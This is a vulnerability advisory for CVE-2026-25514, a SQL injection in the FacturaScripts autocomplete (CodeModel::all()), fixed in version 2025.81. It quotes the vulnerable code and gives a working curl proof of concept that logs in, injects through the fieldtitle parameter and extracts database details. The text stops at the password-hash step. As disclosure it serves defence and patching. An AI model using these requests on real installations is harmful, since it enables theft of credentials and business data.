CVE-2026-25514

FacturaScripts is open-source enterprise resource planning and accounting software. Prior to version 2025.81, FacturaScripts contains a critical SQL injection vulnerability in the autocomplete functionality that allows authenticated attackers to extract sensitive data from the database including user credentials, configuration settings, and all stored business data. The vulnerability exists in the CodeModel::all() method where user-supplied parameters are directly concatenated into SQL queries without sanitization or parameterized binding. This issue has been patched in version 2025.81.

Summary

FacturaScripts contains a critical SQL Injection vulnerability in the autocomplete functionality that allows authenticated attackers to extract sensitive data from the database including user credentials, configuration settings, and all stored business data. The vulnerability exists in the CodeModel::all() method where user-supplied parameters are directly concatenated into SQL queries without sanitization or parameterized binding.

Details

Multiple controllers in FacturaScripts, including CopyModel, ListController, and PanelController, implement an autocomplete action that processes user input through the CodeModel::search() or CodeModel::all() methods. These methods construct SQL queries by directly concatenating user-controlled parameters without any validation or escaping.

Vulnerable Code Location

File: /Core/Model/CodeModel.php Method: all() Lines: 108-109

public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
    // ......

    // VULNERABLE CODE:
    $sql = 'SELECT DISTINCT ' . $fieldCode . ' AS code, ' . $fieldDescription . ' AS description '
        . 'FROM ' . $tableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
    foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
        $result[] = new static($row);
    }

    return $result;
}

Vulnerable Parameters

The following parameters are vulnerable to SQL Injection:

1. source → Maps to $tableName - Table name injection
2. fieldcode → Maps to $fieldCode - Column name injection
3. fieldtitle → Maps to $fieldDescription - Column name injection (Primary attack vector)

Attack Flow

1. Attacker authenticates with valid credentials (any user role)
2. Attacker sends POST request to /CopyModel with action=autocomplete
3. Malicious SQL functions/queries are injected via the fieldtitle parameter
4. Application executes the injected SQL and returns results in JSON format
5. Attacker extracts sensitive data from the database

Proof of Concept (PoC)

Prerequisites

• Valid authentication credentials (admin/admin in test instance)
• Access to FacturaScripts web interface

Step-by-Step Manual Exploitation (CLI)

Since FacturaScripts uses MultiRequestProtection, a valid multireqtoken is required for every POST request.

1. Obtain initial token and session cookie: FacturaScripts redirects / to /login, so we use -L to follow redirects and -c to save the session cookie.

TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+')
echo $TOKEN

2. Authenticate (Login): Use the saved cookie and the token to log in.

curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
  -d "fsNick=admin" \
  -d "fsPassword=admin" \
  -d "action=login" \
  -d "multireqtoken=$TOKEN"

3. Extract Database Version: Obtain a fresh token for the next request and execute the injection.

# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
  -d "action=autocomplete" \
  -d "source=users" \
  -d "fieldcode=nick" \
  -d "fieldtitle=version()" \
  -d "term=admin" \
  -d "multireqtoken=$TOKEN"

4. Extract Database User and Name:

# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
  -d "action=autocomplete" \
  -d "source=users" \
  -d "fieldcode=nick" \
  -d "fieldtitle=concat(user(),' @ ',database())" \
  -d "term=admin" \
  -d "multireqtoken=$TOKEN"

5. Extract Admin Password Hash:

# Get fresh token…
